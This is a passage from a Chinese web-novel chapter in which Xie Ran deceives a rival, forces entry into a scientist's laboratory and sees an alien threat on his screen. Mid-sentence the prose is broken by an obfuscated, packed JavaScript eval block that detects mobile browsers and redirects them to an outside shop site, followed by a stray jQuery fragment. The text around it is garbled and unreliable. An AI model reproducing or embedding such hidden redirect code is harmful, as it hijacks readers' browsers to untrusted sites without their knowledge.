谢然表情稍微和缓,放下二郎腿说:“其实学长的话也有道理,此事关乎欧阳先生性命,的确不容我们任性。”
夏长仪笑意加深:“学妹能这么想真是再好不过。”
她微微倾身,压低声音说:“其实我知道的线索也有限,只是想提醒学长一句,与其像无头苍蝇一样乱找,不如查查这家酒吧的来历。”
她刻意引导夏长仪去查帝国残党,一是不想让他们给自己的任务添乱,二是她的确很好奇帝国军在不夜星究竟想做什么,但她又没时间亲自查,所以想借他们的手探听一二。
说完,她像怕被人听到似的,谨慎往旁边瞄了两眼,见周围没人才坐直身体。
一套动作行云流水,加上这家酒吧的确处处透着可疑,夏长仪果真被她唬住,丝毫没怀疑她在骗人,举起手中酒与她碰杯:“多谢学妹。”
说完,将杯中酒一饮而尽,他没有在此多逗留,反而起身离开酒吧,估计是去找曲肃元分享情报去了。
谢然轻轻将高脚杯搁到吧台上,望着他离开的方向愣神。
“人都走了,回神吧!”猫猫牌拽拽她衣服,酸溜溜道。
她垂下视线轻轻眨眨眼,今天是她第一次正视夏长仪,也是第一次看清他的脸,对方的眉眼却给她一种熟悉的感觉。
“你有没有觉得,他长得有点眼熟?像是在哪里见过……”
“没有。”猫猫牌很快否定道。
他记性好,几乎过目不忘。谢然沉思片刻,道:“那可能是在认识你之前,我曾见过他。”
“三年前?”猫猫牌仰头:“那时他还没入学,你打哪儿见的他?”
雷安特教授自学生时代便一直待在卡尔德里斯,除了在天明星的秘密研究所待过一段时间,几乎没去过别的地方。但天明星上可没有姓“夏”的贵族,她能在什么场合见到夏长仪?
“或许……是见过和他相似的人?”
谢然微微拧眉,那张脸给她的感觉很不舒服,让她总觉得是个潜在的威胁。
她一定要想起自己是在什么时候见到的那相似的眉眼,把威胁的源头揪出来。
轻轻阖上右眼,伴随着有节奏感的音乐飞速复盘前二十年经历过的一切,在音乐停止的刹那,一个名字忽然闪入脑海。
“夏仲青!”
她没有亲眼见过夏仲青真实的容貌,毕竟在狱中她见到的是脸已被炸毁的“谢然”。
但从监狱逃出来后,为避免夏仲青的身份给她带来麻烦,她还是查了查她的身世。联邦通缉网上挂着她未获得异能时的照片,她也是从那时才知道了夏仲青原本的模样。
老实说,夏仲青和夏长仪至少有三四分像,两人很明显有血缘关系。
从年龄上看,夏仲青被捕入狱时的真实年龄是三十六岁,应该是夏长仪的长辈。
但关于她的身份背景,通缉令上只写了一句:“夏仲青因年轻时过于叛逆,刚成年便与家族割席。”并未提及她出生自哪颗星球,夏家又是哪个夏家。
但这些对谢然来说似乎并不重要,她只需确定,夏长仪对她刻意的打量,不是因为通过夏仲青这层关系,发现了她的身份就好。
夏长仪今年顶多二十岁出头,夏仲青离家时他才刚出生,不可能对她有多么深刻的印象。
“那他老看我做什么?”一个问题解决了,另一个问题接踵而至。夏长仪的目光可以说是赤/裸/裸的打量,是若不是对她身份感到好奇,还能因为什么?
猫猫牌忍不住翻了个白眼:“你就当他是对竞争对手的不怀好意吧!”
谢然微微颔首:“这个理由倒能接受。”连她衣服上的装饰都记得一清二楚,肯定是为了找她身上的破绽,打她个措手不及!
那小子,果真没憋好屁!
她喝完杯中酒,从吧台椅上跳下,拍拍衣服上的褶皱说:“算了,我不跟他计较。”
“怎么就不计较了?”
她结了账,走出酒吧说:“因为他替我省了不少事。”
夏长仪信了她的话肯定会有所行动,她不用再花时间调查这家酒吧的帝国残党,可以先回云之城守着那位没有任何战斗力的弱鸡科学家。
日影西斜,距异域生物设下的时限已不足四个小时。
谢然来到实验室,实验室大门紧锁,门口的电子监控冰冷地注视着她。
她先按了下门铃,冲里面有礼貌地喊道:“欧阳先生,我是谢然,烦请您帮我开下门。”
里面没有丝毫回应,只有她自己的声音在一尘不染的走廊里回响。
她颇有耐心地又按了两遍门铃,里面仍没有一点动静。事不过三,她直接滑开一旁的电子屏幕,飞速输入一串密码。
“密码错误!”
重新输入。
“密码错误!连续错输三次后将触发警报系统!”
不理,继续重新输入——
刺耳的警鸣声响彻走廊,谢然提前戴上耳塞,站在门边默数。
在数到第三十个数时,实验室里的人终于忍无可忍,砰的一声打开金属大门。
警报声戛然而止,欧阳里气得面色涨红,抵在门口质问:“楼下的守卫呢?”
“守卫?你说那些穿白衣服的么?”谢然抬起微微泛红的手掌,摘下耳塞:“他们实在有些碍事,所以都被我打晕了。”
“都打晕了?”欧阳里面色一凝。楼下至少有二十人,仅凭她一个怎么可能……
这女人是怪物吗?
“放心,我下手不重,估计半小时就能醒。”她微微扬起嘴角:“现在能让我进去了吗,欧阳先生?”
欧阳里怎么看都觉得她的笑容里带了几分威胁,手一颤松开门框,让出一条缝来。
“谢了。”谢然推门而入,丝毫没有作为“客人”的自觉,目光肆意打量整座实验室。
欧阳家在这间实验室上下了血本,足足五百平的空间罗列着各种精密的仪器,各种珍贵的试剂和样本罗列在一整面墙上,但这间实验室的造价就超上百亿。
怪不得没钱拨给军队……
“擅闯私人实验室,你看到的都是不夜星的最高机密,我有权在这里立即击毙你。”欧阳里冷冷道。
“我只是个刚入学的学生,哪看得懂那么高深的东西。”她眼睛眨也不眨,继续扫向实验台,权当欧阳里在放屁。
实验室共有四个巨大的实验台,四组机械手分别掌控其中之一。她依次看去,能大概分辨得出它们归属的领域:生物细胞研究,超脑科技研发,人工智能研发以及微分子药物研究。
都是联邦大力扶持且合法合规的项
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630697|204722||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目,她暗暗松了口气,三大家族中曲家已是一团污糟,她不希望另外两家也节外生枝。
联邦不能从根上坏掉。
“行了,别看了!”欧阳里管不住她的眼,只能按停机械手,降下帷幕遮住实验台。
“您也太小气了,欧阳先生。”她收回目光耸了耸肩:“其实你忙你的就好,我会像昨晚一样待在一旁,绝不会打扰你。”
“你盯着我怎么工作?”欧阳里翻了个白眼,走到最靠近窗边的桌前打开电脑。
他那些实验需要高度集中注意力,有人在旁边他根本做不了,只能选择做些不带脑子的工作。
正好这些天攒了些实验数据还没录入,他凡事都要亲力亲为,实验室没有助理,那些繁琐的数据只能靠他一个个码进电脑。
谢然走过去站到他身后,感受到身后之人灼热的目光,他不耐烦道:“你就不能站远些?”
“行。”她刚要往后退,显示屏亮起,一行红字浮现在赤白色的屏幕上:
不夜星来了几只小老鼠打乱了我们的计划,若您执意不肯与我们合作,我将提前采取行动。
谢然眉头狠狠一拧,据异域生物原本设下的时限已不足三小时,她不知这句“提前”究竟会提前多久。
很可能下一秒,异域生物就会闯入这座云之城,带走眼前这位可怜的科学家。
但当事人却丝毫没意识到问题的严重性,叉掉留言面不改色打开数据文档。
谢然额角微抽:“您是没看到上边写的什么吗?”
“看到了,上午就看到了。”
也就是说,这条留言是上午发来的。但欧阳里对此毫无反应,没有焦虑也没有声张,仿佛被威胁的不是他一样。
异域生物摆明了拿刀往他脖子上架,难道他一点不着急?
“您心真大!”她拍拍欧阳里肩膀,佩服道。
“干什么!少动手动脚!”欧阳里狠狠把她手拍下去,对其怒目而视:“这不叫心大,这叫对本人的科研成果有绝对自信!”
云之城是他亲手研发建造的,其安全性有多高他比任何人都清楚,除非异域生物手上有核弹,否则根本不可能冲破那层光屏保护罩。
“你怎么知道那个叫斯立特的异域生物,破坏力不比核弹呢?”
欧阳里冷嗤:“他若真有那么强的实力,何必还要威胁我?直接将不夜星击毁,对联邦的打击不是更大么?”
“你觉得它们威胁你是想打击联邦?”谢然觉得一谈起战争、政治、博弈,这位天才科学家的大脑就变得无比平滑,蠢到不可思议。
她缓了口气,尽量用通俗易懂的话将现状解释给他听:“假如你说的没错,那它们为什么不跳过威胁这一步直接来杀你?如今异域生物在几十颗小星都制造了暴乱,它们想打击联邦有千百种方法,浪费这么多时间在你身上,不就是为了你这颗掌握了联邦最前沿科技的大脑吗?”
“那它们也得进得了云之城再说。”
见他仍对潜在的危险嗤之以鼻,谢然额角抽痛,知道跟这犟种说再多也解释不通,索性不再开口,专心做自己的事。
她打开手机,准备先把苏祺等人叫回来,恰好此时苏祺也在群里发了消息。
[@群主·谢然在沉水区发现赤色蝙蝠踪迹!是否追踪?]